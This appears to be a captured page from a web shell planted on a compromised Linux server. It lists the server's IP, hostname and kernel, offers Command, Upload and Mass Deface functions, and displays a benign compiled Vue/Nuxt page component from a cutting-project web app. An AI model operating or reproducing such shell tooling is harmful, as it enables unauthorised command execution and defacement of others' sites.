���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
.trash
/
.output.2
/
server
/
chunks
/
build
/
Viewing: _id_-CGnW1kJ7.mjs
import { b as useI18n, q as useRoute, i as useNuxtApp, u as useHead, x as useAsyncData, s as useRuntimeConfig, p as __nuxt_component_2$1, o as __nuxt_component_1, c as useLocalePath } from './server.mjs'; import { defineComponent, withAsyncContext, unref, withCtx, createVNode, toDisplayString, useSSRContext, mergeProps } from 'vue'; import { ssrRenderAttrs, ssrRenderAttr, ssrInterpolate, ssrRenderClass, ssrRenderList, ssrRenderComponent } from 'vue/server-renderer'; import { useIntervalFn } from '@vueuse/core'; import '../runtime.mjs'; import 'node:http'; import 'node:https'; import 'fs'; import 'path'; import 'node:fs'; import 'node:url'; import '@iconify/utils'; import 'consola/core'; import '../routes/renderer.mjs'; import 'vue-bundle-renderer/runtime'; import 'devalue'; import '@unhead/ssr'; import 'unhead'; import '@unhead/shared'; import 'vue-router'; import 'tailwind-merge'; import '@iconify/vue'; import '@iconify/utils/lib/css/icon'; const _sfc_main$1 = { __name: "footer", __ssrInlineRender: true, props: { project_id: { required: false } }, setup(__props) { const { t } = useI18n(); const localePath = useLocalePath(); const props = __props; const { project_id } = props; return (_ctx, _push, _parent, _attrs) => { const _component_ULink = __nuxt_component_1; _push(`<footer${ssrRenderAttrs(mergeProps({ class: "bg-white flex justify-between items-center pb-2 pt-1 sm:border-r sm:border-l w-full sm:w-9/12 md:w-7/12 lg:w-6/12 2xl:w-5/12 mx-auto fixed bottom-0 right-0 left-0 border-t" }, _attrs))}><div class="px-1 w-6/12">`); _push(ssrRenderComponent(_component_ULink, { to: unref(localePath)("/project/list?project_id=" + unref(project_id)), class: "w-full flex bg-main-700 hover:bg-main-600 rounded border h-9 text-white items-center justify-center" }, { default: withCtx((_, _push2, _parent2, _scopeId) => { if (_push2) { _push2(`<span class="block px-2 text-sm truncate"${_scopeId}>${ssrInterpolate(unref(t)("View list units"))}</span>`); } else { return [ createVNode("span", { class: "block px-2 text-sm truncate" }, toDisplayString(unref(t)("View list units")), 1) ]; } }), _: 1 }, _parent)); _push(`</div><div class="px-1 w-6/12"><a${ssrRenderAttr("href", "cutunix://service?order_id=" + unref(project_id))} class="w-full flex bg-main-700 hover:bg-main-600 rounded border h-9 text-white items-center justify-center" color="red"><span class="block px-2 text-sm truncate"> \u0627\u0631\u0633\u0627\u0644 \u0628\u0647 \u062E\u062F\u0645\u0627\u062A\u06CC \u062C\u0647\u062A \u0628\u0631\u0634 </span></a></div></footer>`); }; } }; const _sfc_setup$1 = _sfc_main$1.setup; _sfc_main$1.setup = (props, ctx) => { const ssrContext = useSSRContext(); (ssrContext.modules || (ssrContext.modules = /* @__PURE__ */ new Set())).add("components/unit/details/footer.vue"); return _sfc_setup$1 ? _sfc_setup$1(props, ctx) : void 0; }; const _sfc_main = /* @__PURE__ */ defineComponent({ __name: "[id]", __ssrInlineRender: true, async setup(__props) { let __temp, __restore; const { t } = useI18n(); const config = useRuntimeConfig(); const { id } = useRoute().params; const { $api } = useNuxtApp(); useHead({ title: t("Project Details") }); const { data, refresh } = ([__temp, __restore] = withAsyncContext(async () => useAsyncData(`user:${id}`, async () => { const [result] = await Promise.all([ $api(config.public.API_URL + "/analyze/project/single", { query: { project_id: id }, method: "POST" }) ]); const projectOptions = JSON.parse(result).data.project; return { project: projectOptions }; }, { server: true })), __temp = await __temp, __restore(), __temp); useIntervalFn(() => { refresh(); }, 5e3); return (_ctx, _push, _parent, _attrs) => { const _component_UIcon = __nuxt_component_2$1; const _component_ULink = __nuxt_component_1; const _component_UnitDetailsFooter = _sfc_main$1; _push(`<div${ssrRenderAttrs(_attrs)}><div class="mt-1 mb-10 px-2"><section${ssrRenderAttr("dir", _ctx.$i18n.locale == "en" ? "ltr" : "rtl")}><h2 class="inline-block mb-5 text-gray-800 border-b border-main-700 text-center bold p-2">${ssrInterpolate(unref(t)("project information"))}</h2><div class="w-full flex-wrap flex justify-between items-start"><div class="w-full mb-5 flex justify-start items-start"><span class="${ssrRenderClass([_ctx.$i18n.locale == "en" ? " text-left" : " text-right", "block pl-2 text-gray-800 bg-white"])}">${ssrInterpolate(unref(t)("Project Name"))} : </span><span class="${ssrRenderClass([_ctx.$i18n.locale == "en" ? " text-left" : " text-right", "block text-gray-500 bg-white"])}">${ssrInterpolate(unref(data).project.name)}</span></div><div class="w-full mb-5 flex justify-start items-start"><span class="${ssrRenderClass([_ctx.$i18n.locale == "en" ? " text-left" : " text-right", "block pl-2 text-gray-800 bg-white"])}">${ssrInterpolate(unref(t)("Name Of Employer"))} : </span><span class="${ssrRenderClass([_ctx.$i18n.locale == "en" ? " text-left" : " text-right", "block text-gray-500 bg-white"])}">${ssrInterpolate(unref(data).project.name_employer)}</span></div></div></section>`); if (0 < unref(data).project.groups.length) { _push(`<section${ssrRenderAttr("dir", _ctx.$i18n.locale == "en" ? "ltr" : "rtl")}><h2 class="inline-block mb-3 text-gray-800 border-b border-main-700 text-center bold p-2">${ssrInterpolate(unref(t)("Outputs"))}</h2><ul><!--[-->`); ssrRenderList(unref(data).project.groups, (row) => { _push(`<li class="w-full border-b-2"><div class="cursor-pointer flex justify-between items-center"><div class="py-1 mt-1 px-2 cursor-pointer w-full flex justify-between items-center"><label class="block mr-2 pb-2 w-full text-main-700 cursor-pointer">${ssrInterpolate(row.wood_type)}</label><div class="flex justify-end items-center pb-2">`); _push(ssrRenderComponent(_component_UIcon, { id: "header_collapse_" + row.id, name: "i-heroicons-chevron-down-20-solid", class: "text-gray-500 transition-all text-2xl" }, null, _parent)); _push(`</div></div></div><div${ssrRenderAttr("id", "body_collapse_" + row.id)} class="border-t transition-all"><div class="w-full border-b py-3 flex justify-start items-center">`); if (row.order_form) { _push(ssrRenderComponent(_component_ULink, { to: "https://app.cutunix.com/" + row.order_form, target: "_blank", square: "", class: [_ctx.$i18n.locale == "en" ? "mr-1" : " ml-1", "flex text-white rounded hover:bg-main-600 bg-main-700 items-center justify-center"] }, { default: withCtx((_, _push2, _parent2, _scopeId) => { if (_push2) { _push2(`<span class="block py-1 px-2 truncate"${_scopeId}>${ssrInterpolate(unref(t)("View order form"))}</span>`); } else { return [ createVNode("span", { class: "block py-1 px-2 truncate" }, toDisplayString(unref(t)("View order form")), 1) ]; } }), _: 2 }, _parent)); } else { _push(`<!---->`); } if (row.opticut == "size_part" || row.opticut == "size_panel") { _push(`<span class="${ssrRenderClass([_ctx.$i18n.locale == "en" ? "mr-1" : " ml-1", "flex py-1 px-2 truncate text-white rounded hover:bg-red-600 bg-red-700 items-center justify-center"])}">${ssrInterpolate(unref(t)("order size"))}</span>`); } else if (row.opticut == "not_run") { _push(`<span class="${ssrRenderClass([_ctx.$i18n.locale == "en" ? "mr-1" : " ml-1", "flex py-1 px-2 truncate text-white rounded hover:bg-red-600 bg-red-700 items-center justify-center"])}">${ssrInterpolate(unref(t)("Allowed to exit"))}</span>`); } else if (row.opticut == "pending" || row.opticut == "do") { _push(`<span class="${ssrRenderClass([_ctx.$i18n.locale == "en" ? "mr-1" : " ml-1", "flex py-1 px-2 truncate text-white rounded hover:bg-red-600 bg-red-700 items-center justify-center"])}">${ssrInterpolate(row.opti_percent)}% ${ssrInterpolate(unref(t)("preparing"))}</span>`); } else if (row.opticut == "done") { _push(`<!--[-->`); _push(ssrRenderComponent(_component_ULink, { to: "https://shemshetaraz.com/cutunix/" + row.cut_master_pdf, target: "_blank", square: "", class: [_ctx.$i18n.locale == "en" ? "mr-1" : " ml-1", "flex rounded bg-[#f6f7eb] text-gray-900 items-center justify-center"] }, { default: withCtx((_, _push2, _parent2, _scopeId) => { if (_push2) { _push2(`<span class="block py-1 px-2 truncate"${_scopeId}>${ssrInterpolate(unref(t)("View cutting map"))}</span>`); } else { return [ createVNode("span", { class: "block py-1 px-2 truncate" }, toDisplayString(unref(t)("View cutting map")), 1) ]; } }), _: 2 }, _parent)); _push(ssrRenderComponent(_component_ULink, { to: "https://shemshetaraz.com/cutunix/" + row.opticut_file, target: "_blank", square: "", class: "flex text-white rounded hover:bg-main-600 bg-main-700 items-center justify-center" }, { default: withCtx((_, _push2, _parent2, _scopeId) => { if (_push2) { _push2(`<span class="block py-1 px-2 truncate"${_scopeId}>${ssrInterpolate(unref(t)("Download Opticut output"))}</span>`); } else { return [ createVNode("span", { class: "block py-1 px-2 truncate" }, toDisplayString(unref(t)("Download Opticut output")), 1) ]; } }), _: 2 }, _parent)); _push(`<!--]-->`); } else { _push(`<!---->`); } _push(`</div></div></li>`); }); _push(`<!--]--></ul></section>`); } else { _push(`<!---->`); } _push(ssrRenderComponent(_component_UnitDetailsFooter, { project_id: unref(data).project.id }, null, _parent)); _push(`</div></div>`); }; } }); const _sfc_setup = _sfc_main.setup; _sfc_main.setup = (props, ctx) => { const ssrContext = useSSRContext(); (ssrContext.modules || (ssrContext.modules = /* @__PURE__ */ new Set())).add("pages/projects/[id].vue"); return _sfc_setup ? _sfc_setup(props, ctx) : void 0; }; export { _sfc_main as default }; //# sourceMappingURL=_id_-CGnW1kJ7.mjs.map
Coded With 💗 by
0x6ick Mod By V1rus_Alfa